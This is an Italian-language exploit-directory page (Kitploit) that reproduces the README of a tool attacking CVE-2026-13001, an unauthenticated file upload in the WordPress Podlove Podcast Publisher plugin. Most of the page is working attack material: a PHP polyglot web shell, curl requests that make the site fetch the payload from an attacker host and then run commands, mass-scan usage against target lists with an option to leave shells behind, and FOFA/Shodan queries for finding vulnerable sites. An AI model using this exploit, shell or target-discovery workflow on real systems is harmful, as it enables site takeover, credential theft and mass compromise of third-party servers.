Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-13001 — Exploit per CVE-2026-13001, un upload arbitrario di file non autenticato nel plugin WordPress Podlove Podcast Publisher, che consente l'esecuzione remota di codice tramite upload di file PHP polyglot. Include modalità di scansione singola e di massa. | Kitploit
Strumenti/GitHubGitHub/byt3l0rd/cve-2026-13001
Scanner di VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingRed TeamingSviluppo Payload
GitHubbyt3l0rd/cve-2026-13001

CVE-2026-13001

Exploit per CVE-2026-13001, un upload arbitrario di file non autenticato nel plugin WordPress Podlove Podcast Publisher, che consente l'esecuzione remota di codice tramite upload di file PHP polyglot. Include modalità di scansione singola e di massa.

Vedi Repository
11h 6m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-13001 — Podlove Podcast Publisher Caricamento File Non Autenticato RCE

Discrepanza is_image() vs extract_file_extension() → Upload PHP Polyglot


Panoramica

CVE-2026-13001 è una vulnerabilità critica (CVSS 9.8) di caricamento file arbitrario non autenticato nel plugin WordPress Podlove Podcast Publisher versioni ≤ 4.5.1.

La vulnerabilità sfrutta una discrepanza tra due funzioni interne che analizzano le estensioni dei file in modo diverso:

  • is_image() usa che → l'URL appare come ✅ (immagine valida)
basename()
include le query string
shell.php?.gif
.gif
  • extract_file_extension() usa solo il percorso di parse_url() → restituisce .php → il file viene salvato con estensione .php 🚨
  • Gli attaccanti caricano polyglot GIF89a PHP (header GIF valido + PHP incorporato) che superano la validazione delle immagini ma vengono eseguiti come PHP quando vengono acceduti.

    Versioni Affette

    VersioneStato
    ≤ 4.5.1Vulnerabile
    4.5.2+Corretta

    Scoperta da: Talal Nasraddeen tramite Wordfence (14 luglio 2026)


    Meccanismo della Vulnerabilità

    Causa Principale

    root@kitploit:~
    // is_image() — usa basename() che include la query string
    function is_image($url) {
        $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
        return in_array($ext, ['jpg','jpeg','png','gif','webp']);
    }
    // URL: https://attacker.com/shell.php?.gif
    // basename() → "shell.php?.gif" → ext = "gif" ✅ BYPASSATO
    
    root@kitploit:~
    // extract_file_extension() — usa solo il percorso di parse_url()
    function extract_file_extension($url) {
        $path = parse_url($url, PHP_URL_PATH);
        return pathinfo($path, PATHINFO_EXTENSION);
    }
    // URL: https://attacker.com/shell.php?.gif
    // parse_url() → "/shell.php" → ext = "php" 🚨 SALVATO COME .php
    

    Flusso dell'Attacco

    root@kitploit:~
    1. L'attaccante ospita un polyglot GIF89a PHP su attacker.com/shell.php?.gif
    2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
    3. is_image() valida l'estensione .gif → SUPERATO
    4. Il plugin scarica il file → lo salva come test_original.php in cache/
    5. L'attaccante accede a /wp-content/cache/podlove/{hash}/test_original.php
    6. PHP viene eseguito → RCE
    

    Installazione

    root@kitploit:~
    git clone https://github.com/shinthink/CVE-2026-13001.git
    cd CVE-2026-13001
    pip install -r requirements.txt
    

    Utilizzo

    root@kitploit:~
    # Singolo target
    python cve_2026_13001.py -t target.com
    
    # Scansione di massa
    python cve_2026_13001.py -f targets.txt -o shells.txt
    
    # URL payload personalizzato
    python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif
    
    # Modalità debug, lascia le shell
    python cve_2026_13001.py -t target.com --debug --no-cleanup
    

    Argomenti

    root@kitploit:~
      -t, --target       Singolo target (dominio o IP)
      -f, --file         Lista di target, uno per riga
      -o, --output       Salva gli URL RCE in un file
      --payload-url      URL che ospita il polyglot PHP (default: GitHub raw)
      --threads          Worker concorrenti (default: 30)
      --no-cleanup       Lascia le shell sul target
      --debug            Mostra ogni richiesta HTTP
      -v, --verbose      Output dettagliato
    

    Proof of Concept

    Singolo Target

    root@kitploit:~
    $ python cve_2026_13001.py -t podcast-site.com
    
    root@kitploit:~
      Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8
    
      Host       : podcast-site.com
      Podlove    : SÌ v4.5.1
      Upload     : SÌ
      RCE        : SÌ
      Shell      : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
      Output     : uid=33(www-data) gid=33(www-data)
      Time       : 4.2s
    

    Scansione di Massa

    root@kitploit:~
      Target: 500  |  Threads: 30
      Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif
    
      [RCE] podcast-vuln-01.com       https://podcast-vuln-01.com/wp-content/cache/podlove/...
      [150/500] 30% | Det:42 RCE:8
    

    Sfruttamento Manuale

    Passo 1 — Ospita una shell polyglot

    root@kitploit:~
    // shell.php — salva e ospita sul tuo server
    GIF89a<?php system($_GET['c']); ?>
    

    Passo 2 — Codifica in hex l'URL con il bypass

    root@kitploit:~
    # URL: https://attacker.com/shell.php?.gif
    echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'
    

    Passo 3 — Attiva il download della cache

    root@kitploit:~
    curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'
    

    Passo 4 — Accedi alla shell

    root@kitploit:~
    # Percorso: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
    curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'
    

    FOFA / Shodan

    root@kitploit:~
    FOFA:   body="podlove-podcasting-plugin-for-wordpress"
    Shodan: http.html:"podlove"
    

    Impatto

    Uno sfruttamento riuscito produce esecuzione di codice remoto come utente del server web:

    • Estrarre wp-config.php → credenziali del database
    • Accedere a tutti i contenuti WordPress, utenti e dati dei plugin
    • Distribuire backdoor persistenti
    • Muoversi lateralmente verso reti interne

    Disclaimer

    SOLO PER SCOPI EDUCATIVI E TEST AUTORIZZATI.

    Gli autori non si assumono alcuna responsabilità per un uso improprio.


    Riferimenti

    RisorsaLink
    Advisory Wordfencewordfence.com
    Release di Sicurezza Podlovepodlove.org
    Voce NVDCVE-2026-13001
    RicercatoreTalal Nasraddeen

    Non affiliato con Podlove.

    Scarica lo strumento